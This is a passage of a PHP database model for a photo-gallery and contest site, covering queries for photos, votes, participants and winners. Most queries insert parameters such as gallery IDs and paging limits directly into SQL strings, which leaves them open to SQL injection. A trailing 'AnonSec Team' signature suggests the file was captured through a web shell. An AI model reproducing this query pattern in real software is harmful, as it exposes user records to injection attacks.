		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res['galeria_info'] = $query->result_array();
			$res['fotos'] = $this->dameFotos($res['galeria_info'][0]['id'],1,"","");
			return $res;	
		}
		else
			return false;
	}

	public function dameGaleriasSeccionBloque($seccion_id){


	   	$sql="select g.id,g.titulo, DATE_FORMAT(g.fechaAlta,'%d/%m/%Y') as fecha, 
				DATE_FORMAT(g.fechaAlta,'%H:%i') as hora,
				(
				select CONCAT(f.ruta,'tmb2_',f.imagen) AS img 
				from foto_galerias f 
				inner join galeria_foto gf on (gf.foto_id = f.id) 
				where gf.galeria_id = g.id order by gf.destacada desc limit 1
				) as destacada
				FROM relacion_otro r 
				INNER JOIN galeria g ON g.id=r.objeto_id1
				WHERE r.tipo1=5 AND r.tipo2=8 AND r.objeto_id2=".$seccion_id." and g.habilitada = 1
				ORDER BY g.id DESC
				LIMIT 1";	

   		$query = $this->db->query($sql);

   		//echo $this->db->last_query();
		if ($query->num_rows() > 0){
			$res= $query->result_array();			
			return $res[0];	
		}
		else
			return false;
	}

	/*public function dameGaleriaSociales($start=0,$limit=20){

		$sql="select g.id, g.titulo, g.descripcion, DATE_FORMAT(g.fechaAlta,'%d-%m-%Y') as fecha, 
		(
			select CONCAT(f.ruta,'tmb2_',f.imagen) as imagen 
			from foto_galerias f inner join galeria_foto gf on (gf.foto_id = f.id) 
			where gf.galeria_id = g.id order by gf.destacada desc limit 1
		) as imagen 
		from galeria g 
		where g.tipo=3 and g.habilitada = 1
		order by g.id desc limit ".$start.", ".$limit;

		$query = $this->db->query($sql);

		if($query->num_rows() > 0){
			$res = $query->result_array();
			return $res;
		}
		else
			return false;
	}*/

	public function dameUltimaGaleriaBloque(){

		$sql="select g.id, g.titulo, g.descripcion, DATE_FORMAT(g.fechaAlta,'%d/%m/%Y') as fecha, 
			DATE_FORMAT(g.fechaAlta, '%H:%i')hora, 
		(
			select CONCAT(f.ruta,'tmb2_',f.imagen) as imagen 
			from foto_galerias f inner join galeria_foto gf on (gf.foto_id = f.id) 
			where gf.galeria_id = g.id order by gf.destacada desc limit 1
		) as imagen 
		from galeria g 
		where  g.tipo=1 and g.habilitada = 1
		order by g.fechaAlta desc limit 1";

		$query = $this->db->query($sql);

		if($query->num_rows() > 0){
			$res = $query->result_array();
			return $res;
		}
		else
			return false;


	}

	public function damePublicadas($galeria_id)
	{
		$sql = "select count(f.id) as cantidad from foto_galerias f 
		inner join galeria_foto gf on (gf.foto_id = f.id) 
		where f.habilitada = 1 and gf.galeria_id = ".$galeria_id;

		$query = $this->db->query($sql);

		if($query->num_rows() > 0){
			$res = $query->result_array();
			return $res[0]['cantidad'];
		}
		else
			return 0;
	}

	public function dameCantUsuariosParticipan($galeria_id)
	{
		$sql = "select count(distinct f.usuario_id) as cantidad from foto_galerias f 
		inner join galeria_foto gf on (gf.foto_id = f.id) 
		where f.habilitada = 1 and gf.galeria_id = ".$galeria_id;

		$query = $this->db->query($sql);

		if($query->num_rows() > 0){
			$res = $query->result_array();
			return $res[0]['cantidad'];
		}
		else
			return 0;
	}

	public function dameCantVotaciones($galeria_id)
	{
		$sql = "select sum(f.votos) as cantidad from foto_galerias f 
		inner join galeria_foto gf on (gf.foto_id = f.id) 
		where f.habilitada = 1 and gf.galeria_id = ".$galeria_id;

		$query = $this->db->query($sql);

		if($query->num_rows() > 0){
			$res = $query->result_array();
			if ($res[0]['cantidad'] > 0)
				return $res[0]['cantidad'];
			else
				return 0;
		}
		else
			return 0;
	}

	public function dameUsuarios($galeria_id, $start, $limit)
	{
		$sql = "select distinct u.id, u.nombre, u.apellido, u.usuario, u.tipo, ui.imagen_estado 
		from usuario u 
		inner join usuario_info ui on (ui.usuario_id = u.id) 
		inner join foto_galerias f on (f.usuario_id = u.id) 
		inner join galeria_foto g on (g.foto_id = f.id) 
		where f.habilitada = 1 and g.galeria_id = ".$galeria_id." order by f.id desc limit $start,$limit";

		$query = $this->db->query($sql);

		if($query->num_rows() > 0){
			$res = $query->result_array();
			return $res;
		}
		else
			return false;
	}

	public function dameReglamentoConcurso($galeria_id)
	{
		$sql = "select g.titulo, g.id, r.reglamento 
		from galeria g 
		inner join galeria_reglamento r on (r.galeria_id = g.id) 
		where g.id = ".$galeria_id;

		$query = $this->db->query($sql);

		if($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0];
		}
		else
			return false;
	}

	public function dameGanadores($galeria_id)
	{
		$sql = "SELECT p.orden,u.usuario,ui.numdoc,f.id,f.ruta,f.imagen,f.titulo,f.usuario_id,f.puntos 
				FROM foto_galerias f 
				INNER JOIN galeria_podio p ON p.foto_id = f.id
				INNER JOIN usuario u ON u.id = f.usuario_id
				INNER JOIN usuario_info ui ON ui.usuario_id = u.id
				WHERE f.habilitada = 1 AND
				p.galeria_id = ".$galeria_id."
				ORDER BY p.orden ASC";

		$query = $this->db->query($sql);

		if($query->num_rows() > 0){
			$res = $query->result_array();
			return $res;
		}
		else
			return 'vacio';
	}

	public function dameFotosGaleria ($galeria_id,$start=0,$limit=20)
	{
		$sql="SELECT f.id, f.titulo, f.descripcion, f.ruta, f.imagen,f.galeria_id
			FROM foto_galerias f INNER JOIN galeria g on (f.galeria_id=g.id) 
			where g.id=".$galeria_id." LIMIT ".$start.",".$limit;
		$query = $this->db->query($sql);

		if($query->num_rows() > 0){
			$res = $query->result_array();
			return $res;
		}
		else
			return 'vacio';
	}

	public function dameGaleriasSociales($start=0,$limit=1,$tipo=1)
	{
		$sql = "SELECT g.id, g.titulo, g.descripcion,
				(
					SELECT CONCAT(fg.ruta,fg.imagen)
					FROM foto_galerias fg
					WHERE fg.galeria_id = g.id AND fg.destacada = 1 AND fg.habilitada = 1
					LIMIT 1
				) AS destacada
				FROM galeria g
				WHERE g.habilitada = 1 AND g.tipo = ".$tipo."
				ORDER BY g.fecha DESC,g.id DESC 
				LIMIT ".$start.",".$limit; 

		$query = $this->db->query($sql);

		if($query->num_rows() > 0){
			$res = $query->result_array();
			return $res;
		}
		else
			return 'vacio';
	}


	public function dameFotosGaleriaId($id,$start=0,$limit=0)
	{
		$sql = "SELECT id,CONCAT(ruta,imagen) as imagen,titulo,descripcion FROM foto_galerias 
				WHERE habilitada = 1 AND galeria_id=".$id." ORDER BY orden ASC";
		
		if($start>=0 and $limit>0)
		{
			$sql.=" limit ".$start.",".$limit;
		}
		$query = $this->db->query($sql);
		if($query->num_rows()>0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return 'vacio';
	}

	public function dameGaleriaDatos($id)
	{
		$this->db->where("id",$id);
		$this->db->where("habilitada",1);
		$query=$this->db->get('galeria');
		if($query->num_rows()>0)
		{
			$res = $query->result_array();
			return $res[0];
		}
		else
			return 'vacio';

	}


}
?>

Anon7 - 2022
AnonSec Team